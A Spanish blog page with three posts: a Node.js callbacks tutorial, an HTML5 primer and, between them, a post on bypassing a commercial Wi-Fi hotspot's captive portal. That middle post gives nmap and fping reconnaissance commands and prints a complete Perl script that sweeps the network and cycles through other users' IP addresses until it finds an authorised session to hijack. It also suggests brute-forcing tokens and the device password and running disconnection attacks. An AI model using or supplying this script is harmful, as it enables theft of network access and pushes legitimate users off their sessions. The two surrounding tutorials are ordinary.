lunes, 30 de junio de 2014

Node.js - Callbacks





1 Callbacks y otras yerbas

En el mundo de Node.js, la lógica se maneja principalmente en forma asíncrona, una diferencia interesante contra otros lenguajes a los que estaba acostumbrado. Donde todo se ejecuta en forma secuencial por default.
Otro punto fue el uso y paso de parámetros, algo que me llamó la atención.
Node maneja dos tipos de formas para la lógica de respuestas en los programas:

  • Callbacks.
  • Event listeners.

El último no se explicará en este artículo, por lo cual se proseguirá con los callbacks.
Los callbacks son funciones para manejar resultados de procesos. Por ejemplo, luego de una lectura de bases de datos, defino un callback para realizar cálculos con las filas recuperadas de la base de datos.
O sea, ejecuto una llamada a una función cualquiera, la llamada devuelve valores a la función callback, dentro de la función callback puedo hacer algo.

A continuación ejemplos.

1.1 Ejemplo 1 – Devolver un valor usando funciones callback

Llamada a función check, recibe como parámetros los valores 1 y 2.
A la vuelta de la función check, se puede procesar el resultado que ha sido colocado en el argumento resultadoCheck de la función callback.

check(1,2,function(resultadoCheck){
 console.log("A
la vuelta de check().resultadoChec=%s",resultadoCheck);
}); 

Dentro de la función check, se debe devolver valores a una función local declarada como parámetro.

function check(req,hash, fn){
 
 console.log("Ejecutando check(%s,%s,
fn)",req,hash); 
 //envio del resultado  
 fn(true);
}; 

1.2 Ejemplo 2 – Devolver varios valores usando funciones callback

El siguiente ejemplo, devuelve dos valores utilizando callback. El primer valor, es una variable que simula ser un estado. El segundo valor, es una variable que simula ser resultados.
//...
var req=0;
operacion(1,function(parUno,parDos){ 
 console.log("check() -> Recibiendo
status=%s result=%s",parUno,parDos); 
 console.log("check() -> uso como global
de variable req=%s",req);   
}); 
//...

Aquí viene la definición de la función. Se devuelven valores como si fuera una llamada a una función, pero la función callback es parte de los parámetros.
function operacion(valorEntradaOperacion,fn){
 //simulan ser valores producidos 
 var status="TERMINADO"; 
 var result=2; 
//...
 fn(status,result);
}

1.3 Ejemplo 3 – Integrador con varios casos

Se puede descargar de


https://github.com/freelanceparaguay/nodeJSExamples

































lunes, 23 de junio de 2014

Saltando protección de un Guest Internet Hot Spot Gateway




1 Disclaimer

Lo que se publica aquí es para fomentar la curiosidad y la tecnología, el autor del documento no se hace responsable del mal uso que cualquiera le pueda dar.

2 El problema, escenario, desarrollo, nudo y desenlace :)

Caminando por la vida..., me tropecé con un hot spot, siiiiii... una red wireless abierta!.
Activé la red wireless y recibí un número de IP por medio del protocolo DHCP y acceso a consultas DNS. Bien, por un momento todo parecía feliz y encaminado pero...(suspenso) al abrir un sitio web con el navegador allí estaba el PORTAL CAUTIVO que pedía contraseñas, en este caso un TOKEN para navegar.
La página a la cual me envió el navegador tenía un dominio tal como http://aplogin.com/?url=www.midireccion.
Oh no!, era un hot spot gateway con muchas capacidades incluidas en su software: APIS remotas, control de usuarios y otras; la curiosidad fue más fuerte y allí comenzó todo lo que motivó este artículo.

2.1 El problema a resolver

  • Navegar por la red de redes sin necesidad de solicitar el token al administrador de la red wireless. O sea, saltar el portal cautivo.

2.2 Descubriendo el escenario

Los pasos realizados para descubrir el escenario.
  • Pruebas con nmap -> nmap -T Aggressive -A -v 192.168.1.1
  • Escucha de tráfico con Wireshark y para observar pedidos de DHCP de otros dispositivos.
  • Utilización de fping -g 192.168.1.0/24 para realizar una verificación de otros dispositivos conectados a la red.
  • Busqueda en internet utilizando sobre el dispositivo gateway. Clave de búsqueda http://aplogin.com/.

2.3 Supuestos utilizados para la búsqueda y resolución

Los caminos tomados para comenzar a realizar las pruebas fueron:
  • Búsqueda de posibles configuraciones débiles en la red (protocolos, contraseñas débiles, etc.)
  • Falta de un administrador dedicado en forma constante para resolver problemas de la red. A veces existen redes descuidadas a las cuales se les presta poca atención :(. O por las mismas características del servicio ciertas redes están sujetas al funcionamiento en ambientes con poco mantenimiento.

En base a lo anterior y con el conocimiento sobre el dispositivo se procedió a:
  • Atacar la aplicación del hot spot para generar tokens válidos para navegar.
  • Atacar la red aplicando técnicas como spoofing o man in the middle.

2.4 Solución... solución... y no problemas... dijo un profe

La solución más rápida y que funcionó fue la de spoofing. Clonar la IP y dirección MAC de una sesión previamente autorizada.
Es probable que el mismo gateway tenga mecanismos para evitar y detectar esta clase de ataques, pero pudo darse esta posibilidad dado que es una red pública y es visitada normalmente por muchísimas personas para utilizar sus servicios. Por lo cual está sujeta constantemente a varias clases de dispositivos.
Es un aprovechamiento de configuraciones no tan estrictas antes que una falla propia del dispositivo.
Al principio se hizo de forma manual, luego entendiendo el funcionamiento se codificó un script Perl para resolverlo de manera automatizada.
Aclaración: este ataque deja fuera, o compite directamente con la máquina real que adquirió el IP primeramente, dado que se usurpa la sesión activa.

El script Perl puede ser descargado en https://github.com/freelanceparaguay/buscaIP

2.5 Temas a investigar relacionados

Alguien que quiera seguir indagando puede utilizar los siguientes items:

Mejorar el script.
  • Validación e parámetros por ejemplo: direcciones de red, detección de redes en Linux/ Unix Windows y otros sistemas operativos.
  • Mejorar la portabilidad del script para otros sistemas operativos.
  • Trabajar el script para que pueda ejecutarse desde cuentas normales y no justamente desde cuentas con acceso root.
  • Crear un daemon para que cuando fenezca el token de navegación verifique otra IP autorizada para navegar.
  • Eliminar la dependencia de comandos propios de Linux/Unix y otras aplicaciones y construir módulos con funciones propias de Perl.
  • Generar un listado de direcciones Ip's autorizadas para navegar en un determinado instante.

Aplicación del hot spot.
  • Probar ataques de fuerza bruta al formulario del hot spot generando tokens para nevagación.
  • Probar ataques de desconexión utilizando las APIS del hot spot.
  • Probar ataques de desconexión utilizando parámetros POST.
  • Probar ataques de fuerza bruta para obtener el password del dispositivo.

Configuraciones del dispositivo
  • Mejorar las opciones de configuración realizando ajustes necesarios para evitar clonado de MACs.


3 Extras

3.1 Apéndice - Sistemas hot spot marca Guest Internet Solutions

Visitando la página del fabricante, se pueden observar muchas características que hacen de los productos ofrecidos muy buenos candidatos para ser elegidos al momento de administrar redes wireless.
También, las aplicaciones de administración se encuentran bien trabajadas y cubren una amplia gama de casos en lo que se utilizan accesos a Internet, tanto pagos como gratuitos.
Demuestran ser productos robustos al momento de mantenerse en funcionamiento.
Incluso se ofrece una demo online sobre el software de administración que puede ser visitada en http://www.guest-internet.com/demo/password.html.
Características interesantes para programadores:
  • Ofrece acceso a APIS a nivel programación facilitando el control del hot spot desde otras aplicaciones.

3.2 Apéndice – Código fuente del script

https://github.com/freelanceparaguay/buscaIP

.
#!/usr/bin/perl
############################################################
# Junio 2014
# http://otroblogdetecnologias.blogspot.com
# buscadorHotSpot.pl
#
# Ejecutar desde una cuenta con acceso a cambios de configuraciones
# de red, o desde una cuenta root.
#
# Script que encuentra numeros de IP's validos para un
# rango dado.
# Dependencia de los comandos Unix
# fping -> utilidad para realizar barridos de IPs http://fping.sourceforge.net/
# sort -> ordenamiento de archivos de texto
# ifconfig -> configuracion de red en Unix/Linux
#
############################################################
use LWP::UserAgent;
use HTTP::Request;

############################################################
# Obtiene un listado de los numeros de IPs asignados en la red
# Guarda en un archivo el resultado
############################################################
sub getIpRange{
my ($ipRangeF,$maskF,$listFileF)=@_;
my $tempFileF="temp.txt";
my $errFileF="error.txt";
print "SCANNING IP's ==>\n";
system("/usr/sbin/fping -a -g $ipRangeF/$maskF 1>$tempFileF 2>$errFileF");
system("/usr/bin/sort $tempFileF > $listFileF");
}
############################################################
# Obtiene numeros de IPs de un listado previamente generado
# y lo recorre hasta encontrar la IP autorizada para navegar
############################################################
sub getIpsFromList{
my($interfaceF, $maskF, $listFileF, $urlSeekF, $fileHTMLPage, $signingConnectedF,$signingUnConnectedF)=@_;
my $ipToTestF;
my $count=0;
open(FILE_LIST_IP,"<",$listFileF) or die;
while(){
$ipToTestF=$_;
if($count!=0){
print "Testeando IP ==> $ipToTestF \n";
########################################
configureNet($interfaceF,$ipToTestF,$maskF);
testPage($urlSeekF,$fileHTMLPage);
if(&parseConect($fileHTMLPage,$signingConnectedF,$signingUnConnectedF)){
print "====> IP AUTORIZADA-> $ipToTestF\n";
print "= Navegador listo y a utilizar internet!\n";
exit(0);
}
########################################
}
$count++;
}
close(FILE_LIST_IP);
}
############################################################
# Configura la red con un numero de ip especifico
############################################################
sub configureNet{
my($interfaceF,$ipF,$maskF)=@_;
system("/usr/sbin/ifconfig $interfaceF $ipF");
}

############################################################
# Realiza una conexion al sitio del HOT SPOT
############################################################
sub testPage{
my ($urlBuscar,$archivo)=@_;
############################################
my $ua=LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (X11; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0");

my $req=HTTP::Request->new(GET=>$urlBuscar);
my $response= $ua->request($req);
my $content=$response->content();
############################################
# abrir archivo segun parametro
open(FH,">",$archivo);
############################################
print FH $content;
close(FH);
}
############################################################
# Verifica si el sitio visitado ha devuelto AUTORIZADO o
# NO AUTORIZADO
############################################################
sub parseConect{
my($fileParseF,$signingConnected,$signingUnConnected)=@_;
my $content;
my $flagToReturn=-1;
open(FH,"<",$fileParseF)or die;
############################################
while (){
chomp;
#del archivo temporal obtiene las lineas con arroba
if (/$signingUnConnected/) {
$content=$_;
#NO AUTORIZADO
$flagToReturn=0;
}
if (/$signingConnected/){
$content=$_;
#AUTORIZADO
$flagToReturn=1;
}
}
close(FH);
$flagToReturn;
}
############################################################
# Programa principal
############################################################
#################################################
#Parametros necesarios para configurar el script
my $ipRange="192.168.90.0";
my $ipMask="24";
my $listFileName="ipRange.txt";
my $interface="enp1s0f2";
my $urlToTest="http://aplogin.com/?url=http://www.google.com";
my $fileHTMLDownload="pagina.html";
# Firma que indica que se encuentra autorizado
#Unlimited
my $firmaConnected="Unlimited";
# Firma que indica que no se encuentra autorizado para navegar
my $firmaUnConnected="code";
#################################################
print "##################################################\n";
print "http://otroblogdetecnologias.blogspot.com\n";
print "by Juan Carlos Miranda - Junio 2014\n";
print "Bypass de HOT SPOT. Busqueda de IPs autorizadas en redes WIFI con HOT SPOTs\n";
print "##################################################\n";
getIpRange($ipRange,$ipMask,$listFileName);
getIpsFromList($interface,$ipMask,$listFileName,$urlToTest,$fileHTMLDownload,$firmaConnected,$firmaUnConnected);
############################################################
# Fin Programa principal
############################################################

4 Fuentes de información

Información sobre el producto

Guest Internet Solutions http://www.guest-internet.com/
Guest Internet Solutions - Products http://www.guest-internet.com/guest_internet_hotspot_products.html
Interfaz demo de Guest Internet Solutions. http://www.guest-internet.com/demo/password.html
Herramientas
Fping http://www.fping.org/
Nmap http://nmap.org/book/man.html
Wireshark http://www.wireshark.org/
Perl http://www.perl.org/
Perl IDE http://perlide.org/


martes, 17 de junio de 2014

Iniciando con HTML5

HTML5

Parte I- INTRODUCCIÓN

Basa su sintaxis en un elemento de base al que llamamos etiqueta. 
Está compuesto por etiquetas y texto, que definen los elementos del documento, como enlaces, párrafos, imágenes, etc.

Partes de un documento HTML
Definido por: <html>  </html>
Encabezado <header>  </header> 
Cuerpo <body>  </body>
Enlaces <nav> </nav>
Secciones <section> </section>
Pie <footer> </footer>
Articulo <article> </article>
Otros <aside> </aside>

Formateo básico
Párrafo <p>  </p>
Negrita <b> </b>
Itálica o cursiva <i> </i>
Subrayado <u> </u> tener cuidado con su utilización ya que puede confundirse con enlaces.
Supraíndices <sup> </sup>
Subíndices <sub> </sub>

Alineación de párrafo
Utilización del atributo align  (etiqueta atributo) 
<p align="center"> </p>
<p align="right"> </p>
<p align="left"> </p> (valor por defecto)

Encabezado
Tamaño de letra que utilizan <h1>  </h1>  <h6>  </h6>  (implica separación de párrafo, es decir, párrafo independiente)

Parte II- EXPLICACIÓN Y EJEMPLO

<body> </body>
Con esta directiva se delimita el cuerpo del documento, que es el contenedor para todos los elementos visibles para el usuario como ser párrafos, imágenes, listas, etc.









<section> </section>
Con la directiva <section> se puede delimitar una área dentro de un documento Html, área que queremos resaltar por cualquier motivo. Es una directiva nueva en Html y funciona igual como la directiva <div>. 

Su introducción en Html se debe a que existían demasiadas directivas <div> in los documentos html. 

Su presencia, estructura mejor el código html de punto de vista estético y visual, disminuyendo en este modo la presencia de los <div>. Lógicamente, por la delimitación de un área con la directiva <section>, a este último tendría que dar un nombre utilizando los atributos "id" o "class" con el fin de su identificación posterior para formatearla. En el ejemplo que hay abajo, el párrafo esta delimitado por la directiva <section> llamada "seccionA"











<nav> </nav>
Esta directiva relativamente nueva en HTML es utilizada como contenedor para englobar elementos de navegación en un documento HTML. Los elementos de navegación pueden ser el  menú principal, el menú lateral, etc. Su introducción se debe a que existían demasiadas directivas <div> en los documentos. Su presencia delimita la navegación de la página web, proporcionando una mejor vista del código HTML.

Al hablar de elementos de navegación necesariamente tenemos que mencionar la etiqueta <a> </a> ya que la misma define un hipervínculo. El atributo más importante del elemento <a> es el atributo href, que indica el destino del vínculo.









Si se establece el atributo de destino "_blank" el enlace se abrirá en una nueva ventana/pestaña.

<article> </article>
La directiva <article> también relativamente nueva en HTML, delimita o define el contenidod e una página web de una fuente externa. El contenido puede ser un artículo de prensa de un proveedor externo, o un texto de un web o blog, etc.

También podría utilizarse la directiva <div> pero se perfila el uso de <article> a fin de evitar las repeticiones de su uso y facilitar de esta manera el trabajo de los desarrolladores